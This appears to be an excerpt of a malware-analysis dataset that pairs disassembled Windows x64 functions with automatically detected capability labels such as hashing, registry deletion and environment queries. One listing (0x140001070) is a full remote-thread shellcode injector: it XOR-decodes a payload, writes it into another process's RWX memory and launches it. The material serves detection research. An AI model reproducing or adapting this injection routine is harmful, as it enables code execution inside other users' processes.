joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800281c4
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
lea rcx, [rsp + 0x48]
call fcn.180026b5c
test eax, eax
mov ebx, eax
jne 0x1800282c9
and dword [rsp + 0x40], eax
mov rax, qword [rsi + 0x10]
mov rdi, qword [rsp + 0x48]
mov ebx, 8
mov qword [rdi + 0x28], rax
mov rcx, qword [rsi + 8]
lea r9, [rsp + 0x40]
lea r8d, [rbx + 0x38]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800282ab
mov rax, qword [rsi + 8]
lea r9, [rsp + 0x40]
mov rdx, rbx
mov rcx, qword [rax]
mov qword [rdi + 0x10], rcx
mov rax, qword [rsi + 8]
mov qword [rdi + 0x18], rax
mov rax, qword [rsi + 8]
mov rcx, qword [rax]
mov qword [rdi + 0x20], rcx
mov rcx, qword [rsi + 8]
mov rax, qword [rdi + 0x28]
mov qword [rcx], rax
mov r8d, dword [rsp + 0x40]
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
or dword [rdi + 0x38], 0x101
lea rcx, [0x180033ee0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r11, qword [0x180033ed0]
lea rax, [0x180033ed0]
mov qword [rdi], r11
mov qword [rdi + 8], rax
mov qword [r11 + 8], rdi
lea rcx, [0x180033ee0]
mov qword [0x180033ed0], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r11, qword [rdi + 0x20]
xor ebx, ebx
mov qword [rsi + 0x20], r11
jmp 0x1800282c9
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ebx, eax
je 0x1800282c9
mov rcx, qword [0x1800339a8]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180029730
Capabilities:
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
mov r14, rdx
mov rbx, rcx
mov esi, 8
xor edi, edi
xor ebp, ebp
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x1800339a8]
movsxd r8, eax
xor edx, edx
add r8, 0xc
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov r12, rax
je 0x1800298c8
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov r8w, 0x5c
xor edx, edx
mov rcx, r12
call qword [sym.imp.SHLWAPI.dll_StrRChrA]
test rax, rax
mov r13, rax
jne 0x1800297b0
lea esi, [rdi + 3]
jmp 0x180029888
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 0x10
jne 0x1800297c1
mov byte [r13], dil
mov ecx, 0x162e
call fcn.180015180
test rax, rax
mov rdi, rax
jne 0x1800297dd
mov esi, 0x3ee
jmp 0x180029888
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x1800339a8]
xor edx, edx
movsxd r8, eax
add r8, 0x14
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rbp, rax
je 0x180029888
mov r8, r14
mov rdx, rbx
mov rcx, rdi
call fcn.18000fb68
test eax, eax
mov esi, eax
jne 0x180029888
lea rdx, [0x180036fb4]
mov r8, rdi
mov rcx, rbp
call qword [sym.imp.USER32.dll_wsprintfA]
or r8d, 0xffffffff
mov rdx, r12
mov rcx, rbp
call fcn.18000e74c
mov rcx, r12
mov esi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rdx, [0x180036f9e]
mov rcx, r12
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, r12
call fcn.180002468
lea rdx, [0x180036fa9]
mov rcx, r12
mov byte [rbx + r12], 0
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, r12
call fcn.180002468
mov rcx, rdi
call fcn.180002468
mov rcx, qword [0x1800339a8]
mov r8, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rdi, rdi
je 0x1800298b1
mov rcx, qword [0x1800339a8]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbp, rbp
je 0x1800298c8
mov rcx, qword [0x1800339a8]
mov r8, rbp
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x58]
mov eax, esi
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
Function at 0x180029eec
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbx, rcx
and dword [rax - 0x18], 0
and dword [rax + 0x10], 0
movzx esi, byte [rcx + 0x38]
mov eax, esi
sub eax, 1
je 0x180029fc1
sub eax, 1
je 0x180029f29
cmp eax, 6
jne 0x18002a085
jmp 0x18002a01e
mov eax, dword [0x180033b78]
test eax, eax
je 0x180029f82
bt dword [rcx + 0x38], 0xa
jb 0x180029f82
mov rdi, qword [rcx + 0x28]
cmp word [rdi], 0x25ff
jne 0x180029fc1
lea r9, [rsp + 0x48]
mov edx, 0xe
lea r8d, [rdx + 0x32]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180029fc1
mov rax, qword [rbx + 0x10]
mov qword [rdi + 6], rax
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x48]
mov edx, 0xe
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x180029fc1
lea r9, [rsp + 0x48]
mov edi, 4
lea r8d, [rdi + 0x3c]
mov rdx, rdi
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180029fc1
mov rcx, qword [rbx + 0x18]
mov eax, dword [rbx + 0x20]
mov dword [rcx], eax
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x48]
mov rdx, rdi
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rsp + 0x48]
mov edi, 8
lea r8d, [rdi + 0x38]
mov rdx, rdi
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18002a014
cmp esi, 1
jne 0x180029ff2
mov rcx, qword [rbx + 0x18]
mov rax, qword [rbx + 0x20]
mov qword [rcx], rax
jmp 0x180029ffb
mov rcx, qword [rbx + 0x18]
mov eax, dword [rbx + 0x20]
mov dword [rcx], eax
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x48]
mov rdx, rdi
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x18002a01e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x20], eax
bt dword [rbx + 0x38], 9
jae 0x18002a080
cmp qword [rbx + 0x40], 0
je 0x18002a080
mov rcx, qword [rbx + 0x30]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea r9, [rsp + 0x48]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18002a080
mov rdx, qword [rbx + 0x30]
mov rdx, qword [rdx + 8]
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x48]
mov rdx, rdi
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
btr dword [rbx + 0x38], 8
jmp 0x18002a08b
mov eax, dword [rsp + 0x20]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x18002a394
Capabilities:
Get graphical window text

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0xa0
xor ebx, ebx
mov r14, r8
mov r13, rdx
mov r12d, ecx
lea rdi, [0x1800326b4]
mov esi, ebx
cmp dword [rdi - 4], r12d
jne 0x18002a407
cmp dword [rdi], ebx
je 0x18002a419
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r13
call qword [sym.imp.USER32.dll_GetClassNameA]
cmp eax, ebx
mov ebp, eax
jle 0x18002a419
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, ebp
call fcn.180014d10
cmp eax, dword [rdi]
je 0x18002a419
add esi, 1
add rdi, 0x14
cmp esi, 3
jae 0x18002a4e2
jmp 0x18002a3c8
mov eax, esi
lea rbp, [0x1800326b0]
lea rdi, [rax + rax*4]
cmp dword [rbp + rdi*4 + 0xc], ebx
je 0x18002a463
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r13
call qword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, ebx
mov esi, eax
jle 0x18002a463
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.180014d10
cmp eax, dword [rbp + rdi*4 + 0xc]
jne 0x18002a4e2
cmp dword [rbp + rdi*4 + 8], ebx
je 0x18002a4a0
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r14
call qword [sym.imp.USER32.dll_GetClassNameA]
cmp eax, ebx
mov esi, eax
jle 0x18002a4a0
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.180014d10
cmp eax, dword [rbp + rdi*4 + 8]
jne 0x18002a4e2
cmp dword [rbp + rdi*4 + 0x10], ebx
je 0x18002a4dd
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, ebx
mov esi, eax
jle 0x18002a4dd
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.180014d10
cmp eax, dword [rbp + rdi*4 + 0x10]
jne 0x18002a4e2
mov ebx, 1
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
ret

Function at 0x18002a508
Capabilities:
Delete registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdx, qword [0x180033b40]
mov rdi, rcx
lea r8, [rsp + 0x38]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
mov ebx, eax
jne 0x18002a565
mov rcx, qword [rsp + 0x38]
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, rdi
mov ebx, eax
call fcn.18001cb88
mov rcx, qword [rsp + 0x38]
mov rdx, rax
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18000fc90
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov rax, qword [rsp + 0x20]
mov qword [rsp], rax
mov qword [rsp + 8], 0
jmp 0x18000fcbf
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 8
jae 0x18000fd03
mov rax, qword [rsp + 8]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rsp]
xor rcx, rax
mov rax, rcx
mov qword [rsp], rax
movabs rax, 0x100000001b3
mov rcx, qword [rsp]
imul rcx, rax
mov rax, rcx
mov qword [rsp], rax
jmp 0x18000fcb2
mov rax, qword [rsp]
add rsp, 0x18
ret
Function at 0x18015f830
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov eax, dword [rsp + 0x40]
not eax
mov dword [rsp], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 8], rax
lea rax, [0x1802ae2f0]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x38]
dec rax
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x10], 0
je 0x18015f8be
mov eax, dword [rsp]
shr eax, 8
mov ecx, dword [rsp]
and ecx, 0xff
mov rdx, qword [rsp + 8]
movzx edx, byte [rdx]
xor ecx, edx
mov ecx, ecx
mov rdx, qword [rsp + 0x18]
xor eax, dword [rdx + rcx*4]
mov dword [rsp + 4], eax
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
mov eax, dword [rsp + 4]
mov dword [rsp], eax
jmp 0x18015f862
mov eax, dword [rsp]
not eax
add rsp, 0x28
ret

Function at 0x18015f8d0
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov eax, dword [rsp + 0x40]
not eax
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 4], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 8], rax
lea rax, [0x1802ae2f0]
mov qword [rsp + 0x10], rax
cmp qword [rsp + 0x38], 0
je 0x18015f9d4
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x38]
dec rax
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x18], 0
je 0x18015f9cf
mov rax, qword [rsp + 8]
movzx eax, byte [rax]
mov byte [rsp + 2], al
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
movzx eax, byte [rsp + 2]
mov byte [rsp + 1], al
movzx eax, byte [rsp + 1]
cmp eax, 0x23
jne 0x18015f9a4
cmp qword [rsp + 0x38], 2
jb 0x18015f9a4
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x18015f9a4
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x18015f9a4
mov eax, dword [rsp + 0x40]
mov dword [rsp + 4], eax
mov eax, dword [rsp + 4]
shr eax, 8
mov ecx, dword [rsp + 4]
and ecx, 0xff
movzx edx, byte [rsp + 1]
xor ecx, edx
mov ecx, ecx
mov rdx, qword [rsp + 0x10]
xor eax, dword [rdx + rcx*4]
mov dword [rsp + 4], eax
jmp 0x18015f917
jmp 0x18015fa66
mov rax, qword [rsp + 8]
movzx eax, byte [rax]
mov byte [rsp + 3], al
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
movzx eax, byte [rsp + 3]
mov byte [rsp], al
movzx eax, byte [rsp]
test eax, eax
je 0x18015fa66
movzx eax, byte [rsp]
cmp eax, 0x23
jne 0x18015fa3c
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x18015fa3c
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x18015fa3c
mov eax, dword [rsp + 0x40]
mov dword [rsp + 4], eax
mov eax, dword [rsp + 4]
shr eax, 8
mov ecx, dword [rsp + 4]
and ecx, 0xff
movzx edx, byte [rsp]
xor ecx, edx
mov ecx, ecx
mov rdx, qword [rsp + 0x10]
xor eax, dword [rdx + rcx*4]
mov dword [rsp + 4], eax
jmp 0x18015f9d4
mov eax, dword [rsp + 4]
not eax
add rsp, 0x28
ret
Function at 0x1801a28c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x58
movss xmm0, dword [rsp + 0x78]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [rsp + 0x7c]
movss dword [rsp + 0x34], xmm0
movss xmm0, dword [rsp + 0x80]
movss dword [rsp + 0x38], xmm0
movss xmm0, dword [rsp + 0x84]
movss dword [rsp + 0x3c], xmm0
movzx eax, byte [rsp + 0x88]
test eax, eax
je 0x1801a299b
lea rax, [rsp + 0x40]
mov rcx, qword [rsp + 0x70]
mov rdi, rax
lea rsi, [rcx + 0x88]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
movss xmm0, dword [rsp + 0x40]
comiss xmm0, dword [rsp + 0x30]
jbe 0x1801a2950
movss xmm0, dword [rsp + 0x40]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [rsp + 0x44]
comiss xmm0, dword [rsp + 0x34]
jbe 0x1801a2969
movss xmm0, dword [rsp + 0x44]
movss dword [rsp + 0x34], xmm0
movss xmm0, dword [rsp + 0x38]
comiss xmm0, dword [rsp + 0x48]
jbe 0x1801a2982
movss xmm0, dword [rsp + 0x48]
movss dword [rsp + 0x38], xmm0
movss xmm0, dword [rsp + 0x3c]
comiss xmm0, dword [rsp + 0x4c]
jbe 0x1801a299b
movss xmm0, dword [rsp + 0x4c]
movss dword [rsp + 0x3c], xmm0
movss xmm0, dword [rsp + 0x30]
comiss xmm0, dword [rsp + 0x38]
jb 0x1801a29b6
movss xmm0, dword [rsp + 0x30]
movss dword [rsp + 0x20], xmm0
jmp 0x1801a29c2
movss xmm0, dword [rsp + 0x38]
movss dword [rsp + 0x20], xmm0
movss xmm0, dword [rsp + 0x20]
movss dword [rsp + 0x38], xmm0
movss xmm0, dword [rsp + 0x34]
comiss xmm0, dword [rsp + 0x3c]
jb 0x1801a29e9
movss xmm0, dword [rsp + 0x34]
movss dword [rsp + 0x24], xmm0
jmp 0x1801a29f5
movss xmm0, dword [rsp + 0x3c]
movss dword [rsp + 0x24], xmm0
movss xmm0, dword [rsp + 0x24]
movss dword [rsp + 0x3c], xmm0
mov rax, qword [rsp + 0x70]
add rax, 0x58
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call fcn.180183eb0
mov rax, qword [rsp + 0x70]
lea rcx, [rsp + 0x30]
lea rdi, [rax + 0x88]
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0x70]
call fcn.1801b1ae0
add rsp, 0x58
pop rdi
pop rsi
ret
Function at 0x1802945fc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x180294612
mov al, 1
jmp 0x180294672
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x180294623
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180294670
mov ecx, dword [rcx + 0x18]
nop
call fcn.18029f59c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180294670
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180294670
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180294670
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x180294672
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x18029877c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1802987ac
xor eax, eax
jmp 0x18029886f
mov rbp, rbx
cmp word [rax], si
je 0x1802987d1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1802987b8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1802987b4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180298640
movsxd r14, eax
test eax, eax
jne 0x18029880f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1802987a5
mov rcx, r14
call fcn.18028fbf4
mov rdi, rax
test rax, rax
jne 0x180298828
xor ecx, ecx
call fcn.18028cb34
jmp 0x180298804
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180298640
test eax, eax
jne 0x180298859
mov rcx, rdi
call fcn.18028cb34
jmp 0x180298863
xor ecx, ecx
call fcn.18028cb34
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1802a9ec0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1802a9ee8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1802a9ee8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
sub rsp, 0x48
cmp ecx, 2
jge 0x140001094
mov rdx, qword [rdx]
lea rcx, str.Use:__s__PID_
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm2, xmmword [0x140002310]
lea rax, [0x140004050]
mov qword [rsp + 0x50], rbx
xor ebx, ebx
mov ecx, ebx
mov qword [rsp + 0x40], rdi
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
lea rax, [rax + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
movdqu xmm0, xmmword [rax - 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x20], xmm0
cmp ecx, 0x1c0
jb 0x1400010c0
movsxd rax, ecx
lea rdi, [0x140004040]
cmp rax, 0x1ff
jae 0x140001141
add rax, rdi
nop dword [rax + rax]
xor byte [rax], 0x80
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x1ff
jb 0x140001130
mov rcx, qword [rdx + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
mov dword [0x140004830], eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140004838], rax
test rax, rax
jne 0x14000118d
lea rcx, str.Error_to_OpenProcess
call fcn.140001010
mov rbx, qword [rsp + 0x50]
mov eax, 1
mov rdi, qword [rsp + 0x40]
add rsp, 0x48
ret
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, reloc.KERNEL32.dll_UnhandledExceptionFilter
mov r8d, 0x200
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [0x140004820], rax
test rax, rax
jne 0x1400011d8
lea rcx, str.Error_in_VirutalAllocEx
call fcn.140001010
mov rbx, qword [rsp + 0x50]
mov eax, 1
mov rdi, qword [rsp + 0x40]
add rsp, 0x48
ret
mov rcx, qword [0x140004838]
mov r9d, 0x200
mov r8, rdi
mov qword [rsp + 0x20], rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [0x140004820]
lea rax, [0x140004834]
mov rcx, qword [0x140004838]
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor edx, edx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov qword [0x140004828], rax
test rax, rax
jne 0x14000126a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_in_create_remote_thread:__ld
call fcn.140001010
mov rcx, qword [0x140004838]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov eax, 1
mov rdi, qword [rsp + 0x40]
add rsp, 0x48
ret
lea rcx, str.success
call fcn.140001010
mov rcx, qword [0x140004828]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140004838]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov rdi, qword [rsp + 0x40]
add rsp, 0x48
ret
Function at 0x140017160
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x10090
call fcn.140041460
sub rsp, rax
mov rax, qword [0x140059040]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx edx, byte [rcx]
lea rbx, [rsp + 0x30]
xor eax, eax
mov rsi, rcx
mov word [rsp + 0x80], ax
mov word [rsp + 0x30], ax
lea edi, [rax + 0x28]
test dl, dl
je 0x140017222
nop dword [rax + rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x1400171cd
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x1400171c0
cmp rcx, 1
jb 0x14001727a
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
nop word [rax + rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x1400171f0
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.140034a38
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x1400171b0
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140017253
lea rcx, [rsp + 0x80]
call fcn.14003620c
jmp 0x140017255
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.1400259b0
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.140029fa0
int3

Function at 0x140017280
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140059040]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x30], ax
lea rbx, [rsp + 0x30]
mov edi, 0x28
mov dl, 0x4e
nop
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x1400172dd
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x1400172d0
cmp rcx, 1
jb 0x140017357
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x1400172f3
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.140034a38
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x1400172c0
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400259b0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.140029fa0
int3